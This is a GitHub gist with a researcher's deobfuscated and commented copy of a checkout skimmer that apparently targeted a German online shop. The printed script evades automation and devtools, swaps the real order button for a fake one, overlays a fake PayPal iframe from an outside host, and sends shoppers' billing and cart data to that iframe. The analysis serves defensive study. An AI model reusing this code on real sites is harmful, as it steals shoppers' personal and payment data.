Created
November 29, 2020 07:50
-
-
Save krautface/933b050eb363e20cf1bc925c87a9290f to your computer and use it in GitHub Desktop.
paypal-cors-deob-with-comments.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
https://apptegmaker.com/GALLQPPDA00203GX/PEG002RA3JA/?verid=Z2V0X2NvbnRlbnQ | |
*/ | |
// removed rc4 function | |
// see var b = function (c, d) | |
/* | |
c = "/GALLQPPDA00203GX/PEG002RA3JA/" | |
d = '' | |
e = false | |
*/ | |
(function (c, d, e, f) | |
{ | |
var g = window, | |
h, i; | |
var j = []['slice']; | |
var k = [], | |
l = function () | |
{ | |
var u = j['call'](arguments, 0x0); | |
k['push'](u['join']('')); | |
}; | |
// check to see if this has loaded or if it's not on the right page, or if it's being automated | |
if (!e && window['localStorage']['getItem']('s00001') || window['JASSACKPOW'] || !~location['href']['search']('/onepage') || navigator['webdriver'] === !![]) return; | |
window['JASSACKPOW'] = 0x1; | |
// returns true if item is not undefined | |
var m = function (u) | |
{ | |
return typeof u !== 'undefined'; | |
}; | |
// Disable console | |
if (!m(window['console'])) | |
{ | |
window['console'] = { | |
'log': function () {} | |
}; | |
} | |
// normSpaces replaces any segment of two or more whitespaces with a single space | |
String['prototype']['normSpaces'] = function () | |
{ | |
return this['replace'](/\s{2,}/gi, ' '); | |
}; | |
// Defines trim | |
String['prototype']['trim'] || (String['prototype']['trim'] = function () | |
{ | |
return this['replace'](/^\s+|\s+$/g, ''); | |
}); | |
// Adds delayedCall to faciliate easier delayed function calls | |
Function['prototype']['delayedCall'] = function (u) | |
{ | |
setTimeout(this, u); | |
return this; | |
}; | |
// Some random something | |
Number['prototype']['randomTo'] = function (u) | |
{ | |
return Math['round'](!isNaN(u) ? this + Math['random']() * (u - this) : Math['random']() * this); | |
}; | |
/* | |
creates loading(?) screen for paypal | |
example outputs of the following: | |
n = "tfj3vxug22n4ctrm" | |
o = "ARNDOKVB26ZO" | |
p = "BVS6HLUKUQ3" | |
q = "<style id="ARNDOKVB26ZO">html.ppp-loading{width:100%;height:100%}html.ppp-loading body{overflow:hidden !important;height:100%;} .ppp-hide { position: absolute; left: -999999px; z-index: -9999;} div#tfj3vxug22n4ctrm{background-color:white;position:fixed !important;top:0;left:0;bottom:0;right:0; z-index:999999999;} #tfj3vxug22n4ctrm{float:left;width:100%; display: none; z-index: 999999999;} #tfj3vxug22n4ctrm iframe {width:100%; height: 100%; outline: none; border: none; z-index: 999999999;}</style>" | |
*/ | |
var n = 'tf' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf) + 'trm', | |
o = 'A' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf)['toUpperCase'](), | |
p = 'B' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf)['toUpperCase'](), | |
q = '<style id=\"' + o + ('">html.ppp-loading{width:100%;height:100%}html.ppp-loading body{overflow:hidden !important;height:100%;} .ppp-hide { position: absolute; left: -999999px; z-index: -9999;} div#') + n + ('{background-color:white;position:fixed !important;top:0;left:0;bottom:0;right:0; z-index:999999999;} #') + n + ('{float:left;width:100%; display: none; z-index: 999999999;} #') + n + (' iframe {width:100%; height: 100%; outline: none; border: none; z-index: 999999999;}</style>'); | |
// Boilerplate anti-RE devtools stuff | |
// REMOVED - see var r = function | |
// start things off | |
var s = function () | |
{ | |
var u = window['jQuery'], | |
v = u; | |
console.log('document ready'); | |
// remove fake payal | |
var w = function (J) | |
{ | |
console.log('__removeFake: '); | |
h = true; | |
if (!J) | |
{ | |
var K = jQuery('#' + o); | |
if (K[0]) | |
{ | |
K['remove'](); | |
} | |
} | |
var L = jQuery('#' + n); | |
if (L[0]) | |
{ | |
L['remove'](); | |
} | |
jQuery('.ppp-hide')['removeClass']('ppp-hide'); | |
jQuery('html')['removeClass']('ppp-loading'); | |
jQuery('#pm-checkout')['remove'](); | |
}; | |
// inject fake paypal | |
var x = function (J) | |
{ | |
// verid = get_content | |
J = "https://apptegmaker.com/GALLQPPDA00203GX/PEG002RA3JA/?verid=Z2V0X2NvbnRlbnQ" | |
// J = J || 'https://'['concat']('ap', 'pte', 'gm', 'ak', 'e', 'r', '.co', 'm', c, '?ver', 'id=', 'Z2V0X2', 'NvbnRlbnQ'); | |
console.log('__injectFake: ' + J) | |
// check for loading style defined above, | |
// if not present append to head | |
var K = jQuery('#' + o); | |
if (!K[0x0]) | |
{ | |
jQuery('head')['append'](q); | |
} | |
// check for a div containing fake paypal, if it doesn't exist, add it | |
var L = jQuery('#' + n); | |
if (!L[0x0]) | |
{ | |
jQuery('<div id="' + n + '"><iframe src="' + J + '" id="' + p + '"></iframe></div>')['appendTo']('body'); | |
} | |
}; | |
// post message K after L time - Assuming J is window? | |
var y = function (J, K, L) | |
{ | |
console.log('posting wnd message: ', K); | |
setTimeout(function () | |
{ | |
J && J['postMessage'] && J['postMessage'](K, '*'); // * = targetOrigin | |
}, L || 0x1); | |
}; | |
// send and receive messages | |
// J is likely postMessage receive event | |
var z = function (J) | |
{ | |
console.log('received wnd message: ', J['data']); | |
switch (J['data']) | |
{ | |
case 'c00001': | |
console.log('c00001'); | |
window['localStorage']['setItem']('s00001', 1); | |
I(); // call w() which removes fake | |
break; | |
case 's00000': | |
var K = jQuery('#' + p)[0x0]; // find iframe by ID | |
// if it exists | |
if (K && K['contentWindow']) { | |
// after 2 seconds send 'TLCE_i00001:: i - which can contain the billing address and other details | |
y(K['contentWindow'], 'TLCE_i00001::' + (i || ''), 2000); | |
} | |
break; | |
case 's00001': | |
console.log('s00001'); | |
window['localStorage']['setItem']('s00001', 1); | |
// click the order button? | |
jQuery('#order-button')['eq'](0x0)[0x0]['click'](); | |
break; | |
case 's00002': | |
// remove | |
jQuery('html')['removeClass']('ppp-loading'); | |
// hide div containing fake iframe | |
jQuery('#' + n)['hide'](); | |
jQuery('[id^="trustbadge-container"]')['removeClass']('ppp-hide'); | |
IWD['OPC']['Checkout']['hideLoader'](); | |
break; | |
default: | |
} | |
}; | |
// function to add event listeners | |
var A = function (J, K) | |
{ | |
if (window['addEventListener']) | |
{ | |
window['addEventListener'](J, K); | |
} | |
else | |
{ | |
window['attachEvent']('on' + J, K); | |
} | |
}; | |
// on message event, call "z" which is the function that handles messages | |
A('message', z); | |
// on "AKSDO0039123" event, do nothing | |
A('AKSDO0039123', function (J) {}); | |
// A weird attempt at getting a string that probably is already pretty gettable - not sure | |
function B(J) | |
{ | |
var K = document['createElement']('textarea'); | |
K['innerHTML'] = J; | |
return K['value']; | |
} | |
// J is a callback | |
function C(J) | |
{ | |
// Retrieve the PayPal Plus config | |
var K = window['ppp']['getValidatedConfig'](); | |
var L = { | |
'url': 'https://cors-anywhere.herokuapp.com/https://www.paypal.com/paymentwall/payment-selection', | |
'method': 'POST', | |
'timeout': 0, | |
'data': | |
{ | |
'ecToken': window['ppp']['token'], // PayPal Plus Token | |
'continueButton': 'outside', | |
'surcharging': 'false', | |
'country': K['country'], // PayPal Plus country | |
'language': K['language'], // PayPal Plus Language | |
'styles': '', | |
'showPuiOnSandbox': 'false' | |
} | |
}; | |
u['ajax'](L)['done'](function (M) | |
{ | |
try | |
{ | |
M = B(M); // get a string version of the response | |
M = M['match'](/paymentMethodRow row [selected]*"id="(.*?)" data-pm="(.*?)">/gm)['map'](function (N) | |
{ | |
var O = N['match'](/id="(.*?)" data-pm="(.*?)"/); | |
return { | |
'id': O[0x1], | |
'name': O[0x2] | |
}; | |
}); | |
J(M); // Pass data, apparently an array of IDs and Names from the Paymentwall, to the callback | |
} | |
catch (N) | |
{ | |
J(); | |
} | |
}); | |
} | |
// Used to grab the products in the cart | |
function D() | |
{ | |
var J = ''; | |
jQuery('.col-main script')['each'](function () | |
{ | |
if (J['length']) return; | |
var K = jQuery(this)['text'](); | |
K = K['match'](/'ec:addProduct', ({\n((\t|.)+\n){8})/g); | |
if (!K) return; | |
J = K; | |
}); | |
J = J['map'](function (K) | |
{ | |
return JSON['parse'](K['replace']('ec:addProduct', ', ')['replace'](/(\n|\t)+/g, '')['slice'](0x0, -0x2)['replace'](/'/g, '\"')); | |
}); | |
return J; | |
} | |
function E() | |
{ | |
// Gathers all the input fields from the billing form | |
var J = F(jQuery('#co-billing-form')); | |
Object['keys'](J)['forEach'](function (K) | |
{ | |
var L = K['match'](/billing\[(.*?)\]/); | |
if (!L) return ![]; | |
L = L[0x1]; | |
J[L] = J[K]; | |
delete J[K]; | |
}); | |
// get rid of unwanted fields | |
['address_id', 'confirm_password', 'create_account', 'customer_password', 'day', 'month', 'prefix', 'region', 'save_in_address_book', 'use_for_shipping', 'year', '']['forEach'](function (K) | |
{ | |
delete J[K]; | |
}); | |
J = { | |
'shipping': J | |
}; | |
// get the total, tax (steuer), shipping (versand) - interesting that they kept the German names | |
J['total'] = jQuery('#checkout-review-table tfoot tr:last .price')['text']()['trim']()['replace'](/[^\d,]/g, ''); | |
J['steuer'] = jQuery('#checkout-review-table tfoot tr.summary-total .price')['text']()['trim']()['replace'](/[^\d,]/g, ''); | |
J['versand'] = jQuery('#checkout-review-table tr:contains("Versand") .price')['text']()['trim']()['replace'](/[^\d,]/g, ''); | |
J['cart'] = D(); | |
return J; | |
} | |
// Gathers input fields from the billing form | |
function F(J, K) | |
{ | |
K = K || {}; | |
J['find']('input, select')['each'](function (L, M) | |
{ | |
var N = M['value']; | |
if (jQuery(M)['prop']('nodeName') == 'SELECT') N = jQuery(M)['find']('option:selected')['text'](); | |
if (K[M['name']]) K[M['name']] += ' ' + N; | |
else K[M['name']] = N; | |
}); | |
return K; | |
} | |
// Calls E() which grabs the fields from the billing form | |
// then storms them in localStorage as `bill_addr` | |
function G() | |
{ | |
var J = E(); | |
if (J) | |
{ | |
window['localStorage']['setItem']('bill_addr', JSON['stringify'](J)); | |
} | |
else | |
{ | |
J = window['localStorage']['getItem']('bill_addr'); | |
J && (J = JSON['parse'](J)); | |
} | |
if (!J) return console.log(' Billing parse failed! Aborting.'); | |
// create an object with the billing information, part of the fake iframe URL, and the victim site | |
i = JSON['stringify']( | |
{ | |
'BD': J, | |
'GA': c + ('?verid=c2V0X2RhdGE'), // c = "/GALLQPPDA00203GX/PEG002RA3JA/ | |
'COMPNM': 'www.cw-mobile.de' | |
}); | |
// send a message to the iframe | |
// s00000 = send billing data to iframe | |
z( | |
{ | |
'data': 's00000' | |
}); | |
} | |
function H() | |
{ | |
console.log('Initializing Fake'); | |
// attempting to abort if dev console is open | |
if (!e && r['isOpen']) | |
{ | |
console.log(' Devconsole opened!'); | |
return !![]; | |
} | |
var J = function () | |
{ | |
// if there's not an order button, wait 100ms and try again | |
if (!jQuery('#order-button')['length']) return J['delayedCall'](100); | |
// hide the order button, then clone it | |
// with that clone, remove these classes, then set the onclick attribute to null | |
// then set the type attribute to button and the id to #pm-checkout, and insert it after the original order button | |
jQuery('#order-button')['addClass']('ppp-hide')['clone']()['removeClass']('ppp-hide btn-checkout opc-btn-checkout')['attr']('onclick', null)['attr']('type', 'button')['attr']('id', 'pm-checkout')['insertAfter']('#order-button'); | |
// add onclick function to new pm-checkout button | |
jQuery('body')['on']('click', '#pm-checkout', function (K) | |
{ | |
// if the iframe isn't present, or s00001 in localStorage is set, click original order button | |
if (!jQuery('#' + n)['length'] || window['localStorage']['getItem']('s00001')) return jQuery('#order-button')['eq'](0x0)[0x0]['click'](); | |
// prevent the default event | |
K['preventDefault'](); | |
var L = false; | |
// $j_opc is (I believe) the jQuery that comes with IWD's One Page Checkout | |
$j_opc('#checkout-agreements input[name*="agreement"]')['each'](function () | |
{ | |
if (!$j_opc(this)['is'](':checked')) | |
{ | |
L = true; | |
} | |
}); | |
// Now it appears to be doing various form validation - is this just reimplemneting what would have happened? | |
if (L) | |
{ | |
IWD['OPC']['showMessage']($j_opc('#agree_error')['html']()); | |
return false; | |
} | |
var M = new VarienForm('opc-address-form-billing'); | |
if (!M['validator']['validate']()) | |
{ | |
return; | |
} | |
if (!$j_opc('input[name="billinwindow[use_for_shipping]"]')['prop']('checked')) | |
{ | |
var M = new VarienForm('opc-address-form-shipping'); | |
if (!M['validator']['validate']()) | |
{ | |
return; | |
} | |
} | |
if (!IWD['OPC']['Shipping']['validateShippingMethod']()) | |
{ | |
return IWD['OPC']['showMessage']($j_opc('#pssm_msg')['html']()); | |
} | |
// if everything is validated, exfil the address / PII to the iframe via postMessage | |
G(); | |
IWD['OPC']['Checkout']['showLoader'](); | |
// TBD | |
C(function (N) | |
{ | |
if (N['filter'](function (O) | |
{ | |
return O['name'] == 'Credit_Card' && O['id'] == window['ppp']['getPaymentMethod'](); | |
})['length'] === 0x0) return jQuery('#order-button')['eq'](0x0)[0x0]['click'](); | |
setTimeout(function () | |
{ | |
l(' Data Collected: ', i); | |
jQuery('[id^="trustbadge-container"]')['addClass']('ppp-hide'); | |
jQuery('html')['addClass']('ppp-loading'); | |
jQuery('#' + n)['show'](); | |
}, 0x3e8['randomTo'](0x9c4)); | |
}); | |
return false; | |
}); | |
}; | |
J(); // create the fake order button | |
x(); // inject fake paypal iframe | |
} | |
function I() | |
{ | |
console.log('Removing Fake'); | |
w(); | |
} | |
H['delayedCall'](1); | |
}; | |
var t = function () | |
{ | |
// if jQuery hasn't be loaded yet, try again in 300ms | |
if (!window['jQuery']) return t['delayedCall'](300); | |
console.log('waitReadiness: Ready.'); | |
s(); | |
}; | |
t(); | |
}('/GALLQPPDA00203GX/PEG002RA3JA/', '', false)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment